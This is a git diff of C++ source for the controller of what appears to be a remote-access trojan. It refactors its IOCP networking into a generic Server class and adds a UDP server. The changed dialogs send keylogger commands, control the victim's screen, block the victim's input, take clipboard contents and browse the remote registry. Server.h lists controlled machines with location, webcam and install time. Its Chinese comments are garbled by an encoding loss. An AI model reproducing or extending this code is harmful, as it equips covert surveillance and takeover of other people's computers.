#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
|
||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
|
||||
#else
|
||||
#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
|
||||
#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
CCpuUsage m_cpu;
|
||||
|
||||
ULONG m_ulKeepLiveTime;
|
||||
class IOCPServer : public Server
|
||||
{
|
||||
typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||
typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||
protected:
|
||||
SOCKET m_sListenSocket;
|
||||
HANDLE m_hCompletionPort;
|
||||
UINT m_ulMaxConnections;
|
||||
HANDLE m_hListenEvent;
|
||||
HANDLE m_hListenThread;
|
||||
BOOL m_bTimeToKill;
|
||||
HANDLE m_hKillEvent;
|
||||
ULONG m_ulThreadPoolMin;
|
||||
ULONG m_ulThreadPoolMax;
|
||||
ULONG m_ulCPULowThreadsHold;
|
||||
ULONG m_ulCPUHighThreadsHold;
|
||||
ULONG m_ulCurrentThread;
|
||||
ULONG m_ulBusyThread;
|
||||
|
||||
typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
|
||||
typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
|
||||
ULONG m_ulKeepLiveTime;
|
||||
pfnNotifyProc m_NotifyProc;
|
||||
pfnOfflineProc m_OfflineProc;
|
||||
ULONG m_ulWorkThreadCount;
|
||||
CRITICAL_SECTION m_cs;
|
||||
ContextObjectList m_ContextConnectionList;
|
||||
ContextObjectList m_ContextFreePoolList;
|
||||
|
||||
private:
|
||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||
BOOL InitializeIOCP(VOID);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
ULONG m_ulWorkThreadCount;
|
||||
VOID OnAccept();
|
||||
CRITICAL_SECTION m_cs;
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||
ContextObjectList m_ContextConnectionList;
|
||||
ContextObjectList m_ContextFreePoolList;
|
||||
BOOL InitializeIOCP(VOID);
|
||||
VOID OnAccept();
|
||||
PCONTEXT_OBJECT AllocateContext(SOCKET s);
|
||||
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
|
||||
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
VOID PostRecv(CONTEXT_OBJECT* ContextObject);
|
||||
|
||||
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
|
||||
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
|
||||
int AddWorkThread(int n) {
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_ulWorkThreadCount += n;
|
||||
@@ -429,60 +100,24 @@ public:
|
||||
return ret;
|
||||
}
|
||||
|
||||
/************************************************************************/
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
|
||||
VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength);
|
||||
VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
||||
OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
|
||||
}
|
||||
public:
|
||||
IOCPServer(void);
|
||||
~IOCPServer(void);
|
||||
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
|
||||
|
||||
VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
||||
OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
|
||||
}
|
||||
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
|
||||
|
||||
void UpdateMaxConnection(int maxConn);
|
||||
IOCPServer(void);
|
||||
~IOCPServer(void);
|
||||
|
||||
void Destroy();
|
||||
void Disconnect(CONTEXT_OBJECT *ctx){}
|
||||
pfnNotifyProc m_NotifyProc;
|
||||
pfnOfflineProc m_OfflineProc;
|
||||
};
|
||||
|
||||
typedef IOCPServer ISocketBase;
|
||||
|
||||
#define TRACK_OVERLAPPEDPLUS 0
|
||||
|
||||
class OVERLAPPEDPLUS
|
||||
{
|
||||
public:
|
||||
|
||||
OVERLAPPED m_ol;
|
||||
IOType m_ioType;
|
||||
|
||||
OVERLAPPEDPLUS(IOType ioType)
|
||||
{
|
||||
#if TRACK_OVERLAPPEDPLUS
|
||||
char szLog[100];
|
||||
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||
Mprintf(szLog);
|
||||
#endif
|
||||
ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
|
||||
m_ioType = ioType;
|
||||
}
|
||||
|
||||
~OVERLAPPEDPLUS()
|
||||
{
|
||||
#if TRACK_OVERLAPPEDPLUS
|
||||
char szLog[100];
|
||||
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
|
||||
Mprintf(szLog);
|
||||
#endif
|
||||
}
|
||||
};
|
||||
|
||||
typedef IOCPServer CIOCPServer;
|
||||
|
||||
typedef CONTEXT_OBJECT ClientContext;
|
||||
@@ -494,12 +129,12 @@ typedef CONTEXT_OBJECT ClientContext;
|
||||
class CDialogBase : public CDialog {
|
||||
public:
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
Server* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
bool m_bIsClosed;
|
||||
bool m_bIsProcessing;
|
||||
HICON m_hIcon;
|
||||
CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
|
||||
CDialogBase(UINT nIDTemplate, CWnd* pParent, Server* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
|
||||
m_bIsClosed(false), m_bIsProcessing(false),
|
||||
m_ContextObject(pContext),
|
||||
m_iocpServer(pIOCPServer),
|
||||
|
||||
164
server/2015Remote/IOCPUDPServer.cpp
Normal file
164
server/2015Remote/IOCPUDPServer.cpp
Normal file
@@ -0,0 +1,164 @@
|
||||
#include "stdafx.h"
|
||||
#include "IOCPUDPServer.h"
|
||||
#include <thread>
|
||||
#include <iostream>
|
||||
|
||||
IOCPUDPServer::IOCPUDPServer() {
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
}
|
||||
|
||||
IOCPUDPServer::~IOCPUDPServer() {
|
||||
WSACleanup();
|
||||
}
|
||||
|
||||
UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
|
||||
if (m_running) return 1;
|
||||
|
||||
m_notify = NotifyProc;
|
||||
m_offline = OffProc;
|
||||
|
||||
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
|
||||
if (m_socket == INVALID_SOCKET) return 2;
|
||||
|
||||
sockaddr_in addr{};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(uPort);
|
||||
addr.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3;
|
||||
|
||||
m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0);
|
||||
if (!m_hIOCP) return 4;
|
||||
|
||||
m_running = true;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)+[](LPVOID param) -> DWORD {
|
||||
((IOCPUDPServer*)param)->WorkerThread();
|
||||
return 0;
|
||||
}, this, 0, NULL);
|
||||
|
||||
// <20>ύ<EFBFBD><E1BDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < 4; ++i)
|
||||
PostRecv();
|
||||
|
||||
return 0; // <20>ɹ<EFBFBD>
|
||||
}
|
||||
|
||||
void IOCPUDPServer::PostRecv() {
|
||||
if (!m_running) return;
|
||||
|
||||
AddCount(1);
|
||||
CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT();
|
||||
ctx->InitMember(m_socket);
|
||||
|
||||
IO_CONTEXT* ioCtx = new IO_CONTEXT();
|
||||
ZeroMemory(&ioCtx->ol, sizeof(OVERLAPPED));
|
||||
ioCtx->pContext = ctx;
|
||||
|
||||
ctx->wsaInBuf.buf = ctx->szBuffer;
|
||||
ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
|
||||
ctx->addrLen = sizeof(sockaddr_in);
|
||||
|
||||
DWORD flags = 0;
|
||||
int err = WSARecvFrom(
|
||||
m_socket,
|
||||
&ctx->wsaInBuf,
|
||||
1,
|
||||
NULL,
|
||||
&flags,
|
||||
(sockaddr*)&ctx->clientAddr,
|
||||
&ctx->addrLen,
|
||||
&ioCtx->ol,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (err == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) {
|
||||
DWORD err = WSAGetLastError();
|
||||
Mprintf("[IOCP] PostRecv error: %d\n", err);
|
||||
delete ioCtx;
|
||||
delete ctx;
|
||||
AddCount(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void IOCPUDPServer::WorkerThread() {
|
||||
while (m_running) {
|
||||
DWORD bytes = 0;
|
||||
ULONG_PTR key = 0;
|
||||
LPOVERLAPPED pOverlapped = nullptr;
|
||||
|
||||
BOOL ok = GetQueuedCompletionStatus(m_hIOCP, &bytes, &key, &pOverlapped, INFINITE);
|
||||
if (!ok) {
|
||||
DWORD err = WSAGetLastError();
|
||||
Mprintf("[IOCP] PostRecv error: %d\n", err);
|
||||
if (pOverlapped) {
|
||||
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
||||
delete ioCtx->pContext;
|
||||
delete ioCtx;
|
||||
AddCount(-1);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (!pOverlapped) continue;
|
||||
|
||||
IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
|
||||
CONTEXT_OBJECT* ctx = ioCtx->pContext;
|
||||
|
||||
if (m_notify)
|
||||
m_notify(ctx);
|
||||
|
||||
// <20>ͷ<EFBFBD>
|
||||
delete ioCtx;
|
||||
delete ctx;
|
||||
AddCount(-1);
|
||||
|
||||
PostRecv(); // <20><><EFBFBD><EFBFBD><EFBFBD>ύ
|
||||
}
|
||||
}
|
||||
|
||||
VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
|
||||
WSABUF buf = { ulOriginalLength, (CHAR*)szBuffer };
|
||||
DWORD sent = 0;
|
||||
int err = WSASendTo(
|
||||
ContextObject->sClientSocket,
|
||||
&buf,
|
||||
1,
|
||||
&sent,
|
||||
0,
|
||||
(sockaddr*)&ContextObject->clientAddr,
|
||||
sizeof(sockaddr_in),
|
||||
NULL,
|
||||
NULL
|
||||
);
|
||||
if (err == SOCKET_ERROR) {
|
||||
DWORD err = WSAGetLastError();
|
||||
Mprintf("[IOCP] Send2Client error: %d\n", err);
|
||||
}
|
||||
}
|
||||
|
||||
VOID IOCPUDPServer::Destroy() {
|
||||
if (m_socket != INVALID_SOCKET) {
|
||||
CancelIoEx((HANDLE)m_socket, NULL); // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IO<49><4F><EFBFBD><EFBFBD>
|
||||
closesocket(m_socket);
|
||||
m_socket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
while (GetCount())
|
||||
Sleep(200);
|
||||
|
||||
m_running = false;
|
||||
PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // <20><><EFBFBD>ڻ<EFBFBD><DABB><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>˳<EFBFBD>
|
||||
|
||||
if (m_hThread) {
|
||||
WaitForSingleObject(m_hThread, INFINITE);
|
||||
CloseHandle(m_hThread);
|
||||
m_hThread = NULL;
|
||||
}
|
||||
|
||||
if (m_hIOCP) {
|
||||
CloseHandle(m_hIOCP);
|
||||
m_hIOCP = NULL;
|
||||
}
|
||||
}
|
||||
46
server/2015Remote/IOCPUDPServer.h
Normal file
46
server/2015Remote/IOCPUDPServer.h
Normal file
@@ -0,0 +1,46 @@
|
||||
#pragma once
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <mswsock.h>
|
||||
#include "Server.h"
|
||||
|
||||
|
||||
class IOCPUDPServer : public Server {
|
||||
public:
|
||||
IOCPUDPServer();
|
||||
~IOCPUDPServer();
|
||||
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override;
|
||||
VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override;
|
||||
VOID Destroy() override;
|
||||
|
||||
private:
|
||||
void WorkerThread();
|
||||
void PostRecv();
|
||||
void AddCount(int n=1){
|
||||
m_locker.lock();
|
||||
m_count += n;
|
||||
m_locker.unlock();
|
||||
}
|
||||
int GetCount() {
|
||||
m_locker.lock();
|
||||
int n = m_count;
|
||||
m_locker.unlock();
|
||||
return n;
|
||||
}
|
||||
private:
|
||||
int m_count = 0;
|
||||
CLocker m_locker;
|
||||
SOCKET m_socket = INVALID_SOCKET;
|
||||
HANDLE m_hIOCP = NULL;
|
||||
HANDLE m_hThread = NULL;
|
||||
bool m_running = false;
|
||||
|
||||
pfnNotifyProc m_notify = nullptr;
|
||||
pfnOfflineProc m_offline = nullptr;
|
||||
|
||||
struct IO_CONTEXT {
|
||||
OVERLAPPED ol;
|
||||
CONTEXT_OBJECT* pContext;
|
||||
};
|
||||
};
|
||||
@@ -19,7 +19,7 @@ static char THIS_FILE[] = __FILE__;
|
||||
// CKeyBoardDlg dialog
|
||||
|
||||
|
||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||||
{
|
||||
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
|
||||
@@ -78,7 +78,7 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
||||
|
||||
// ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
@@ -144,7 +144,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
if (pSysMenu != NULL) {
|
||||
m_bIsOfflineRecord = !m_bIsOfflineRecord;
|
||||
BYTE bToken[] = { COMMAND_KEYBOARD_OFFLINE, m_bIsOfflineRecord };
|
||||
m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
if (m_bIsOfflineRecord)
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||||
else
|
||||
@@ -154,7 +154,7 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
|
||||
} else if (nID == IDM_CLEAR_RECORD) {
|
||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||
m_iocpServer->Send(m_ContextObject, &bToken, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
m_edit.SetWindowText("");
|
||||
} else if (nID == IDM_SAVE_RECORD) {
|
||||
SaveRecord();
|
||||
|
||||
@@ -18,7 +18,7 @@ class CKeyBoardDlg : public DialogBase
|
||||
// Construction
|
||||
public:
|
||||
void OnReceiveComplete();
|
||||
CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
|
||||
// Dialog Data
|
||||
//{{AFX_DATA(CKeyBoardDlg)
|
||||
|
||||
@@ -26,7 +26,7 @@ enum KEYVALUE{
|
||||
IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
|
||||
|
||||
|
||||
CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
CRegisterDlg::CRegisterDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: DialogBase(CRegisterDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_STRING)
|
||||
{
|
||||
m_bIsClosed = FALSE;
|
||||
@@ -146,7 +146,7 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
bToken=COMMAND_REG_FIND;
|
||||
strFullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD> [COMMAND_REG_FIND][x]
|
||||
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1);
|
||||
|
||||
m_isEnable = TRUE;
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ class CRegisterDlg : public DialogBase
|
||||
DECLARE_DYNAMIC(CRegisterDlg)
|
||||
|
||||
public:
|
||||
CRegisterDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CRegisterDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CRegisterDlg();
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
@@ -31,7 +31,7 @@ extern "C" void* x265_api_get_192() { return nullptr; }
|
||||
|
||||
extern "C" char* __imp_strtok(char* str, const char* delim) { return strtok(str, delim); }
|
||||
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: DialogBase(CScreenSpyDlg::IDD, Parent, IOCPServer, ContextObject, 0)
|
||||
{
|
||||
m_pCodec = nullptr;
|
||||
@@ -74,7 +74,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC
|
||||
VOID CScreenSpyDlg::SendNext(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
|
||||
}
|
||||
|
||||
|
||||
@@ -485,13 +485,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
||||
bToken[1] = !bIsChecked;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
break;
|
||||
}
|
||||
case IDM_GET_CLIPBOARD: //想要Client的剪贴板内容
|
||||
{
|
||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken));
|
||||
break;
|
||||
}
|
||||
case IDM_SET_CLIPBOARD: //给他
|
||||
@@ -561,7 +561,7 @@ VOID CScreenSpyDlg::SendCommand(const MSG64* Msg)
|
||||
szData[0] = COMMAND_SCREEN_CONTROL;
|
||||
memcpy(szData + 1, Msg, sizeof(MSG64));
|
||||
szData[length] = 0;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, szData, length);
|
||||
m_iocpServer->Send2Client(m_ContextObject, szData, length);
|
||||
}
|
||||
|
||||
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||||
@@ -613,7 +613,7 @@ VOID CScreenSpyDlg::SendServerClipboard(void)
|
||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||
::GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
|
||||
m_iocpServer->Send2Client(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
|
||||
|
||||
@@ -43,7 +43,7 @@ class CScreenSpyDlg : public DialogBase
|
||||
DECLARE_DYNAMIC(CScreenSpyDlg)
|
||||
|
||||
public:
|
||||
CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
||||
CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
|
||||
virtual ~CScreenSpyDlg();
|
||||
|
||||
VOID SendNext(void);
|
||||
|
||||
418
server/2015Remote/Server.h
Normal file
418
server/2015Remote/Server.h
Normal file
@@ -0,0 +1,418 @@
|
||||
#pragma once
|
||||
|
||||
#include "common/commands.h"
|
||||
#include "common/header.h"
|
||||
#include "common/encrypt.h"
|
||||
|
||||
#include "Buffer.h"
|
||||
#define XXH_INLINE_ALL
|
||||
#include "xxhash.h"
|
||||
|
||||
#define PACKET_LENGTH 0x2000
|
||||
|
||||
std::string GetPeerName(SOCKET sock);
|
||||
std::string GetRemoteIP(SOCKET sock);
|
||||
|
||||
enum
|
||||
{
|
||||
ONLINELIST_IP = 0, // IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
|
||||
ONLINELIST_ADDR, // <20><>ַ
|
||||
ONLINELIST_LOCATION, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
ONLINELIST_COMPUTER_NAME, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע
|
||||
ONLINELIST_OS, // <20><><EFBFBD><EFBFBD>ϵͳ
|
||||
ONLINELIST_CPU, // CPU
|
||||
ONLINELIST_VIDEO, // <20><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
||||
ONLINELIST_PING, // PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
ONLINELIST_VERSION, // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
ONLINELIST_INSTALLTIME, // <20><>װʱ<D7B0><CAB1>
|
||||
ONLINELIST_LOGINTIME, // <20><EFBFBD><EEB6AF><EFBFBD><EFBFBD>
|
||||
ONLINELIST_CLIENTTYPE, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ONLINELIST_PATH, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||
ONLINELIST_MAX,
|
||||
};
|
||||
|
||||
enum {
|
||||
PARSER_WINOS = -2,
|
||||
PARSER_FAILED = -1, // <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
|
||||
PARSER_NEEDMORE = 0, // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
typedef struct PR {
|
||||
int Result;
|
||||
bool IsFailed() const {
|
||||
return PARSER_FAILED == Result;
|
||||
}
|
||||
bool IsNeedMore() const {
|
||||
return PARSER_NEEDMORE == Result;
|
||||
}
|
||||
bool IsWinOSLogin() const {
|
||||
return PARSER_WINOS == Result;
|
||||
}
|
||||
}PR;
|
||||
|
||||
enum {
|
||||
COMPRESS_UNKNOWN = -2, // δ֪ѹ<D6AA><D1B9><EFBFBD>㷨
|
||||
COMPRESS_ZLIB = -1, // <20><>ǰ<EFBFBD>汾ʹ<E6B1BE>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_ZSTD = 0, // <20><>ǰʹ<C7B0>õ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMPRESS_NONE = 1, // û<><C3BB>ѹ<EFBFBD><D1B9>
|
||||
};
|
||||
|
||||
struct CONTEXT_OBJECT;
|
||||
|
||||
// Header parser: parse the data to make sure it's from a supported client.
|
||||
class HeaderParser {
|
||||
friend struct CONTEXT_OBJECT;
|
||||
protected:
|
||||
HeaderParser() {
|
||||
memset(this, 0, sizeof(HeaderParser));
|
||||
}
|
||||
virtual ~HeaderParser() {
|
||||
Reset();
|
||||
}
|
||||
PR Parse(CBuffer& buf, int& compressMethod) {
|
||||
const int MinimumCount = MIN_COMLEN;
|
||||
if (buf.GetBufferLength() < MinimumCount) {
|
||||
return PR{ PARSER_NEEDMORE };
|
||||
}
|
||||
char szPacketFlag[32] = { 0 };
|
||||
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
|
||||
HeaderEncType encTyp = HeaderEncUnknown;
|
||||
FlagType flagType = CheckHead(szPacketFlag, encTyp);
|
||||
if (flagType == FLAG_UNKNOWN) {
|
||||
// <20><><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD> + ͨ<><CDA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> [4<>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>+4<><34>0<EFBFBD>ֽ<EFBFBD>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ+ϵͳλ<CDB3><CEBB><EFBFBD><EFBFBD>ʶ]
|
||||
const BYTE* ptr = (BYTE*)buf.GetBuffer(0), * p = ptr + 4;
|
||||
int length = *((int*)ptr);
|
||||
int excepted = buf.GetBufferLength();
|
||||
if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
|
||||
p[6] == 0 && p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
|
||||
m_nFlagType = FLAG_WINOS;
|
||||
compressMethod = COMPRESS_NONE;
|
||||
